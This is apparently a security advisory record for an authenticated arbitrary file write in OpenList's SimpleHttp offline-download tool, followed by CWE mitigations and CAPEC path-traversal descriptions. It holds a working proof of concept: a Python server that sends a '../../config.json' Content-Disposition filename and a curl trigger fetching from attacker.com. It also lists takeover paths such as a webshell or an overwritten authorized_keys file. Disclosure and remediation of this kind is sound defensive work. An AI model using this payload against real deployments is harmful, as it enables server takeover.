-d '{"urls":["http://attacker.com/payload"],"tool":"SimpleHttp","path":"/somefolder","delete_policy":"delete_never"}'
- Server-side:
tempDir = /opt/alist/data/temp/SimpleHttp/<uuid>.filename = "../../config.json".filePath = filepath.Join(tempDir, filename)cleans to/opt/alist/data/config.json.os.Createtruncates the existing config; the response body is streamed in.
Impact
The minimal, deployment-agnostic guarantee is: the attacker can cause the application to create or overwrite files whose parent directory exists, with content of their choice, as the alist process (PUID=0 in default Docker). Because the vulnerable code ultimately calls os.Create on the attacker-controlled resolved path, existing files may be truncated and replaced when the target already exists. Concrete impact paths include:
- Replace
/opt/alist/data/config.jsonwith attacker config (alternative JwtSecret, admin password hash, allowed origins) — admin takeover on next restart / config-reload hook. - Drop a webshell into a writable docroot served by a sibling web server (environment-dependent).
- Truncate the alist binary at
/opt/alist/alist(Linux permits overwriting an executing binary on most filesystems) — next start runs attacker's binary. - Write
authorized_keysif a host volume bind-mounts e.g./root/.sshand that directory exists.
Caveat: the parent directory of the target must already exist; os.Create does not mkdir -p intermediate components. This still leaves many high-impact targets reachable on default deployments.
Adversarial review notes
filepath.Joindoes collapse..(Go semantics confirmed via stdlib).- No containment check exists after the join.
mime.ParseMediaTypedoes not strip path separators or..fromfilenameor RFC 5987filename*.- The resolved path is opened using
os.Create, which truncates existing files and therefore permits overwrite in addition to creation when the target path already exists. SimpleHttpis registered by default (internal/offline_download/all.go).- The route is not
AuthAdmin-gated. - Default guest is disabled (perm 0); this requires a user with
PermAddOfflineDownload.
Remediation
Minimal patch in internal/offline_download/http/util.go:
filename = filepath.Base(filename)
if filename == "" || filename == "." || filename == ".." || !filepath.IsLocal(filename) {
return "", fmt.Errorf("invalid filename in Content-Disposition: [%s]", contentDisposition)
}
return filename, nil
Defense-in-depth in internal/offline_download/http/client.go after computing filePath:
cleanTempDir := filepath.Clean(task.TempDir) + string(filepath.Separator)
if !strings.HasPrefix(filepath.Clean(filePath)+string(filepath.Separator), cleanTempDir) {
return fmt.Errorf("filename escapes temp dir")
}
Additionally, file creation should reject existing targets (or use an equivalent exclusive-create mechanism) to prevent accidental or attacker-controlled overwrites when a chosen filename resolves to an existing file.
if _, err := os.Stat(filePath); err == nil {
return fmt.Errorf("file already exists")
}
The same Content-Disposition / URL-derived filename trust pattern should be reviewed in the other offline-download tools under internal/offline_download/{aria2,qbit,transmission,115,pikpak,thunder}/ for consistency.
Inherited from upstream
This bug is inherited from upstream alist/alist-org/alist. Sister advisories are being filed against AlistGo/alist (the active downstream) and alist-org/alist (the original tree).
Cross-reference
This is a different code path from the previously fixed CVE-2026-25161 (GHSA-x4q4-7phh-42j9, fsmanage/fsbatch path traversal patched in v3.57.0). The offline-download SimpleHttp downloader was not in scope of that fix; the vulnerable code is on main HEAD as of the time of this report (verified against the openlistteam/openlist tree's internal/offline_download/http/client.go retrieved 2026-05-09 — the SimpleHttp.Run function still calls parseFilenameFromContentDisposition and uses the result verbatim with filepath.Join(task.TempDir, filename). OpenList's variant adds a strings.Trim(filename, "/") call which strips leading/trailing slashes but does NOT block .. traversal segments — so the bug remains exploitable.)
Credit
Discovered during a cross-target meta-sweep on path-traversal in file-upload / download pipelines. Static review of public source; no live exploitation.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.2"
},
"package": {
"ecosystem": "Go",
"name": "github.com/OpenListTeam/OpenList"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.2.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-75602"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-03T17:37:20Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nAlist\u0027s offline-download feature (`POST /api/fs/add_offline_download` with `tool: \"SimpleHttp\"`) accepts an attacker-supplied URL, fetches it, and saves the bytes under a per-task temp directory before transferring to the user\u0027s destination storage. The temp filename is taken from the response\u0027s `Content-Disposition` header (attacker-controlled when the URL points to an attacker HTTP server), passed verbatim to `filepath.Join(tempDir, filename)`, and written via `os.Create` with no containment check. Go\u0027s `filepath.Join` calls `Clean` on the result, which collapses `..` segments and lets the attacker traverse out of `tempDir` to write any file the alist process can write.\n\nA non-admin user with `PermAddOfflineDownload` permission on any path is sufficient.\n\n### Affected code\n\n`internal/offline_download/http/util.go` \u2014 filename returned verbatim from header:\n\n```go\nfunc parseFilenameFromContentDisposition(contentDisposition string) (string, error) {\n if contentDisposition == \"\" {\n return \"\", fmt.Errorf(\"Content-Disposition is empty\")\n }\n _, params, err := mime.ParseMediaType(contentDisposition)\n if err != nil {\n return \"\", err\n }\n filename := params[\"filename\"]\n if filename == \"\" {\n return \"\", fmt.Errorf(\"filename not found in Content-Disposition: [%s]\", contentDisposition)\n }\n return filename, nil // \u2190 no traversal stripping\n}\n```\n\n`internal/offline_download/http/client.go` (`SimpleHttp.Run`):\n\n```go\nfilename := path.Base(urlPath) // safe\nif n, err := parseFilenameFromContentDisposition(resp.Header.Get(\"Content-Disposition\")); err == nil {\n filename = n // UNSAFE \u2014 no sanitization\n}\n_ = os.MkdirAll(task.TempDir, os.ModePerm)\nfilePath := filepath.Join(task.TempDir, filename) // filepath.Join calls Clean; \"../\" escapes tempDir\nfile, err := os.Create(filePath) // arbitrary file create+truncate\n_, _ = utils.CopyWithCtx(task.Ctx(), file, resp.Body, fileSize, task.SetProgress)\n```\n\n`server/handles/offline_download.go` (`AddOfflineDownload`) is mounted under normal user auth (not `AuthAdmin`). The only permission check is `common.HasPermission(perm, common.PermAddOfflineDownload)`.\n\nNote: `tryPutUrl` in `internal/offline_download/tool/add.go` is a partial bypass for cloud-storage destinations whose driver implements `PutURL` (e.g., 115 Cloud, PikPak, Thunder). For the local-storage driver \u2014 the most common target \u2014 `tryPutUrl` returns `errs.NotImplement` and execution falls through to the vulnerable `SimpleHttp.Run` path.\n\n### PoC\n\n1. Attacker has any alist account with `PermAddOfflineDownload` on some path it can write to (e.g. `/somefolder`).\n2. Attacker hosts a small HTTP listener:\n\n```python\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nPAYLOAD = b\"any_attacker_controlled_bytes\\n\"\nTRAVERSAL = \"../../config.json\" # destination path under /opt/alist/data/\nclass H(BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(200)\n self.send_header(\"Content-Disposition\", f\u0027attachment; filename=\"{TRAVERSAL}\"\u0027)\n self.send_header(\"Content-Length\", str(len(PAYLOAD)))\n self.end_headers()\n self.wfile.write(PAYLOAD)\nHTTPServer((\"0.0.0.0\", 80), H).serve_forever()\n```\n\n3. Trigger:\n\n```bash\ncurl -X POST \u0027http://victim-alist.example/api/fs/add_offline_download\u0027 \\\n -H \u0027Authorization: \u003csession-token\u003e\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"urls\":[\"http://attacker.com/payload\"],\"tool\":\"SimpleHttp\",\"path\":\"/somefolder\",\"delete_policy\":\"delete_never\"}\u0027\n```\n\n4. Server-side: `tempDir = /opt/alist/data/temp/SimpleHttp/\u003cuuid\u003e`. `filename = \"../../config.json\"`. `filePath = filepath.Join(tempDir, filename)` cleans to `/opt/alist/data/config.json`. `os.Create` truncates the existing config; the response body is streamed in.\n\n### Impact\n\nThe minimal, deployment-agnostic guarantee is: the attacker can cause the application to create or overwrite files whose parent directory exists, with content of their choice, **as the alist process** (PUID=0 in default Docker). Because the vulnerable code ultimately calls `os.Create` on the attacker-controlled resolved path, existing files may be truncated and replaced when the target already exists. Concrete impact paths include:\n\n- **Replace `/opt/alist/data/config.json`** with attacker config (alternative JwtSecret, admin password hash, allowed origins) \u2014 admin takeover on next restart / config-reload hook.\n- **Drop a webshell** into a writable docroot served by a sibling web server (environment-dependent).\n- **Truncate the alist binary** at `/opt/alist/alist` (Linux permits overwriting an executing binary on most filesystems) \u2014 next start runs attacker\u0027s binary.\n- **Write `authorized_keys`** if a host volume bind-mounts e.g. `/root/.ssh` and that directory exists.\n\nCaveat: the parent directory of the target must already exist; `os.Create` does not `mkdir -p` intermediate components. This still leaves many high-impact targets reachable on default deployments.\n\n### Adversarial review notes\n\n- `filepath.Join` *does* collapse `..` (Go semantics confirmed via stdlib).\n- No containment check exists after the join.\n- `mime.ParseMediaType` does not strip path separators or `..` from `filename` or RFC 5987 `filename*`.\n- The resolved path is opened using `os.Create`, which truncates existing files and therefore permits overwrite in addition to creation when the target path already exists.\n- `SimpleHttp` is registered by default (`internal/offline_download/all.go`).\n- The route is *not* `AuthAdmin`-gated.\n- Default guest is disabled (perm 0); this requires a user with `PermAddOfflineDownload`.\n\n### Remediation\n\nMinimal patch in `internal/offline_download/http/util.go`:\n\n```go\nfilename = filepath.Base(filename)\nif filename == \"\" || filename == \".\" || filename == \"..\" || !filepath.IsLocal(filename) {\n return \"\", fmt.Errorf(\"invalid filename in Content-Disposition: [%s]\", contentDisposition)\n}\nreturn filename, nil\n```\n\nDefense-in-depth in `internal/offline_download/http/client.go` after computing `filePath`:\n\n```go\ncleanTempDir := filepath.Clean(task.TempDir) + string(filepath.Separator)\nif !strings.HasPrefix(filepath.Clean(filePath)+string(filepath.Separator), cleanTempDir) {\n return fmt.Errorf(\"filename escapes temp dir\")\n}\n```\n\nAdditionally, file creation should reject existing targets (or use an equivalent exclusive-create mechanism) to prevent accidental or attacker-controlled overwrites when a chosen filename resolves to an existing file.\n\n```go\nif _, err := os.Stat(filePath); err == nil {\n return fmt.Errorf(\"file already exists\")\n}\n```\n\nThe same Content-Disposition / URL-derived filename trust pattern should be reviewed in the other offline-download tools under `internal/offline_download/{aria2,qbit,transmission,115,pikpak,thunder}/` for consistency.\n\n### Inherited from upstream\n\nThis bug is inherited from upstream alist/alist-org/alist. Sister advisories are being filed against AlistGo/alist (the active downstream) and alist-org/alist (the original tree).\n\n### Cross-reference\n\nThis is a different code path from the previously fixed CVE-2026-25161 (GHSA-x4q4-7phh-42j9, fsmanage/fsbatch path traversal patched in v3.57.0). The offline-download `SimpleHttp` downloader was not in scope of that fix; the vulnerable code is on `main` HEAD as of the time of this report (verified against the openlistteam/openlist tree\u0027s `internal/offline_download/http/client.go` retrieved 2026-05-09 \u2014 the SimpleHttp.Run function still calls `parseFilenameFromContentDisposition` and uses the result verbatim with `filepath.Join(task.TempDir, filename)`. OpenList\u0027s variant adds a `strings.Trim(filename, \"/\")` call which strips leading/trailing slashes but does NOT block `..` traversal segments \u2014 so the bug remains exploitable.)\n\n### Credit\n\nDiscovered during a cross-target meta-sweep on path-traversal in file-upload / download pipelines. Static review of public source; no live exploitation.",
"id": "GHSA-h6cj-26g5-67fv",
"modified": "2026-09-03T17:37:20Z",
"published": "2026-09-03T17:37:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/OpenListTeam/OpenList/security/advisories/GHSA-h6cj-26g5-67fv"
},
{
"type": "WEB",
"url": "https://github.com/OpenListTeam/OpenList/commit/9cc5dd969b9833c8cb4e14c338c3571dfdbe2108"
},
{
"type": "PACKAGE",
"url": "https://github.com/OpenListTeam/OpenList"
},
{
"type": "WEB",
"url": "https://github.com/OpenListTeam/OpenList/releases/tag/v4.2.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "OpenList: Authenticated arbitrary file write via Content-Disposition path traversal in SimpleHttp offline-download tool"
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.